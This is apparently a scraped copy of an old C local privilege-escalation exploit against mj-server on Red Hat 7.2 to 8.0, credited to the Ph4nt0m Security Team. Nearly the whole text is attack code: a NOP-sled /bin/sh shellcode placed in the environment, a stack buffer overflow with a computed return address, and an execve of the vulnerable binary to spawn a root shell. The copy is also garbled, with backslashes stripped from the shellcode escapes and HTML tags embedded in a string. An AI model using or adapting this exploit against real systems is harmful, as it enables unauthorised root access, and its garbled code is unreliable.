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- /*
- * mj-server(client) local root(possible in debian) exploit
- * test in (redhat7.2----redhat8.0)
- * coded by jsk
- *
- * (c) Ph4nt0m Security Team /www.ph4nt0m.org
- *
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #define BUFSIZE 150
-
-
- char shellcode[] =
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x31xc0x31xdbxb0x17xcdx80xebx1fx5ex89x76x08x31"
- "xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8d"
- "x56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxff"
- "xffx2fx62x69x6ex2fx73x68x58";
- void banner (void);
-
- void banner (void)
- {
- fprintf (stdout, "\n [+] mj-server local exploit
- mail:<jsk@ph4nt0m.net>");
- fprintf (stdout, "\n [+] by jsk < <a href="http://www.ph4nt0m.org"
- target="_blank"><a href="http://www.ph4nt0m.org"
- target="_blank">www.ph4nt0m.org</a></a>> talk with me <irc.0x557.org
- #ph4nt0m> ");
- fprintf (stdout, "\n [+] spawning shell \n\n");
- }
-
- int main(void)
- {
- char buf[BUFSIZE+16];
- char *prog[] = {"/home/mj-1.4-src/mj-server","--server", buf, NULL};
- char *env[] = {"HOME=jsk", shellcode, NULL};
- unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -
- strlen(shellcode) - 0x02;
- memset(buf,0x41,sizeof(buf));
- memcpy(buf+BUFSIZE,(char *)&ret,4);
- memcpy(buf+BUFSIZE+4,(char *)&ret,4);
- memcpy(buf+BUFSIZE+8,(char *)&ret,4);
- buf[BUFSIZE+12] = 0x00;
- printf("\n [+] Using address: 0x%x", ret);
- banner ();
- execve(prog[0],prog,env);
- return 0;
- }
-
-